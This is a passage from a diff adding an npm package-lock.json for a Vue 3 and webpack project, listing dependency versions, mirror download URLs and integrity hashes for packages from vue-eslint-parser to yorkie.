"3.5.13", + "@vue/server-renderer": "3.5.13", + "@vue/shared": "3.5.13" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-eslint-parser": { + "version": "8.3.0", + "resolved": "https://registry.npmmirror.com/vue-eslint-parser/-/vue-eslint-parser-8.3.0.tgz", + "integrity": "sha512-dzHGG3+sYwSf6zFBa0Gi9ZDshD7+ad14DGOdTLjruRVgZXe2J+DcZ9iUhyR48z5g1PqRa20yt3Njna/veLJL/g==", + "dev": true, + "dependencies": { + "debug": "^4.3.2", + "eslint-scope": "^7.0.0", + "eslint-visitor-keys": "^3.1.0", + "espree": "^9.0.0", + "esquery": "^1.4.0", + "lodash": "^4.17.21", + "semver": "^7.3.5" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=6.0.0" + } + }, + "node_modules/vue-eslint-parser/node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmmirror.com/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/vue-eslint-parser/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/vue-hot-reload-api": { + "version": "2.3.4", + "resolved": "https://registry.npmmirror.com/vue-hot-reload-api/-/vue-hot-reload-api-2.3.4.tgz", + "integrity": "sha512-BXq3jwIagosjgNVae6tkHzzIk6a8MHFtzAdwhnV5VlvPTFxDCvIttgSiHWjdGoTJvXtmRu5HacExfdarRcFhog==", + "dev": true + }, + "node_modules/vue-loader": { + "version": "17.4.2", + "resolved": "https://registry.npmmirror.com/vue-loader/-/vue-loader-17.4.2.tgz", + "integrity": "sha512-yTKOA4R/VN4jqjw4y5HrynFL8AK0Z3/Jt7eOJXEitsm0GMRHDBjCfCiuTiLP7OESvsZYo2pATCWhDqxC5ZrM6w==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "hash-sum": "^2.0.0", + "watchpack": "^2.4.0" + }, + "peerDependencies": { + "webpack": "^4.1.0 || ^5.0.0-0" + }, + "peerDependenciesMeta": { + "@vue/compiler-sfc": { + "optional": true + }, + "vue": { + "optional": true + } + } + }, + "node_modules/vue-loader/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/vue-router": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.5.0.tgz", + "integrity": "sha512-HDuk+PuH5monfNuY+ct49mNmkCRK4xJAV9Ts4z9UFc4rzdDnxQLyCMGGc8pKhZhHTVzfanpNwB/lwqevcBwI4w==", + "dependencies": { + "@vue/devtools-api": "^6.6.4" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/vue-style-loader": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/vue-style-loader/-/vue-style-loader-4.1.3.tgz", + "integrity": "sha512-sFuh0xfbtpRlKfm39ss/ikqs9AbKCoXZBpHeVZ8Tx650o0k0q/YCM7FRvigtxpACezfq6af+a7JeqVTWvncqDg==", + "dev": true, + "dependencies": { + "hash-sum": "^1.0.2", + "loader-utils": "^1.0.2" + } + }, + "node_modules/vue-style-loader/node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha512-fUs4B4L+mlt8/XAtSOGMUO1TXmAelItBPtJG7CyHJfYTdDjwisntGO2JQz7oUsatOY9o68+57eziUVNw/mRHmA==", + "dev": true + }, + "node_modules/vue-template-es2015-compiler": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.9.1.tgz", + "integrity": "sha512-4gDntzrifFnCEvyoO8PqyJDmguXgVPxKiIxrBKjIowvL9l+N66196+72XVYR8BBf1Uv1Fgt3bGevJ+sEmxfZzw==", + "dev": true + }, + "node_modules/vuex": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/vuex/-/vuex-4.1.0.tgz", + "integrity": "sha512-hmV6UerDrPcgbSy9ORAtNXDr9M4wlNP4pEFKye4ujJF8oqgFFuxDCdOLS3eNoRTtq5O3hoBDh9Doj1bQMYHRbQ==", + "dependencies": { + "@vue/devtools-api": "^6.0.0-beta.11" + }, + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/watchpack": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/watchpack/-/watchpack-2.4.2.tgz", + "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==", + "dev": true, + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmmirror.com/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dev": true, + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "dev": true, + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "dev": true + }, + "node_modules/webpack": { + "version": "5.96.1", + "resolved": "https://registry.npmmirror.com/webpack/-/webpack-5.96.1.tgz", + "integrity": "sha512-l2LlBSvVZGhL4ZrPwyr8+37AunkcYj5qh8o6u2/2rzoPc8gxFJkLj1WxNgooi9pnoc06jh0BjuXnamM4qlujZA==", + "dev": true, + "dependencies": { + "@types/eslint-scope": "^3.7.7", + "@types/estree": "^1.0.6", + "@webassemblyjs/ast": "^1.12.1", + "@webassemblyjs/wasm-edit": "^1.12.1", + "@webassemblyjs/wasm-parser": "^1.12.1", + "acorn": "^8.14.0", + "browserslist": "^4.24.0", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.11", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.10", + "watchpack": "^2.4.1", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-bundle-analyzer": { + "version": "4.10.2", + "resolved": "https://registry.npmmirror.com/webpack-bundle-analyzer/-/webpack-bundle-analyzer-4.10.2.tgz", + "integrity": "sha512-vJptkMm9pk5si4Bv922ZbKLV8UTT4zib4FPgXMhgzUny0bfDDkLXAVQs3ly3fS4/TN9ROFtb0NFrm04UXFE/Vw==", + "dev": true, + "dependencies": { + "@discoveryjs/json-ext": "0.5.7", + "acorn": "^8.0.4", + "acorn-walk": "^8.0.0", + "commander": "^7.2.0", + "debounce": "^1.2.1", + "escape-string-regexp": "^4.0.0", + "gzip-size": "^6.0.0", + "html-escaper": "^2.0.2", + "opener": "^1.5.2", + "picocolors": "^1.0.0", + "sirv": "^2.0.3", + "ws": "^7.3.1" + }, + "bin": { + "webpack-bundle-analyzer": "lib/bin/analyzer.js" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/webpack-bundle-analyzer/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/webpack-chain": { + "version": "6.5.1", + "resolved": "https://registry.npmmirror.com/webpack-chain/-/webpack-chain-6.5.1.tgz", + "integrity": "sha512-7doO/SRtLu8q5WM0s7vPKPWX580qhi0/yBHkOxNkv50f6qB76Zy9o2wRTrrPULqYTvQlVHuvbA8v+G5ayuUDsA==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "dev": true, + "dependencies": { + "deepmerge": "^1.5.2", + "javascript-stringify": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.4", + "resolved": "https://registry.npmmirror.com/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz", + "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==", + "dev": true, + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.15.2", + "resolved": "https://registry.npmmirror.com/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz", + "integrity": "sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==", + "dev": true, + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.4", + "ws": "^8.13.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.18.0", + "resolved": "https://registry.npmmirror.com/ws/-/ws-8.18.0.tgz", + "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-merge": { + "version": "5.10.0", + "resolved": "https://registry.npmmirror.com/webpack-merge/-/webpack-merge-5.10.0.tgz", + "integrity": "sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA==", + "dev": true, + "dependencies": { + "clone-deep": "^4.0.1", + "flat": "^5.0.2", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "dev": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-virtual-modules": { + "version": "0.4.6", + "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.4.6.tgz", + "integrity": "sha512-5tyDlKLqPfMqjT3Q9TAqf2YqjwmnUleZwzJi1A5qXnlBCdj2AtOJ6wAWdglTIDOPgOiOrXeBeFcsQ8+aGQ6QbA==", + "dev": true + }, + "node_modules/webpack/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmmirror.com/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dev": true, + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.20", + "resolved": "https://registry.npmmirror.com/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz", + "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==", + "dev": true + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dev": true, + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wildcard": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==", + "dev": true + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/ws": { + "version": "7.5.10", + "resolved": "https://registry.npmmirror.com/ws/-/ws-7.5.10.tgz", + "integrity": "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==", + "dev": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmmirror.com/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yorkie": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/yorkie/-/yorkie-2.0.0.tgz", + "integrity": "sha512-jcKpkthap6x63MB4TxwCyuIGkV0oYP/YRyuQU5UO0Yz/E/ZAu+653/uov+phdmO54n6BcvFRyyt0RRrWdN2mpw==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "execa": "^0.8.0", + "is-ci": "^1.0.10", + "normalize-path": "^1.0.0", + "strip-indent": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/yorkie/node_modules/cross-spawn": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-5.1.0.tgz", + "integrity": "sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==", + "dev": true, + "dependencies": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "node_modules/yorkie/node_modules/execa": { + "version": "0.8.0", + "resolved": "https://registry.npmmirror.com/execa/-/execa-0.8.0.tgz", + "integrity": "sha512-zDWS+Rb1E8BlqqhALSt9kUhss8Qq4nN3iof3gsOdyINksElaPyNBtKUMTR62qhvgVWR0CqCX7sdnKe4MnUbFEA==", + "dev": true, + "dependencies": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/yorkie/node_modules/get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-3.0.0.tgz", + "integrity": 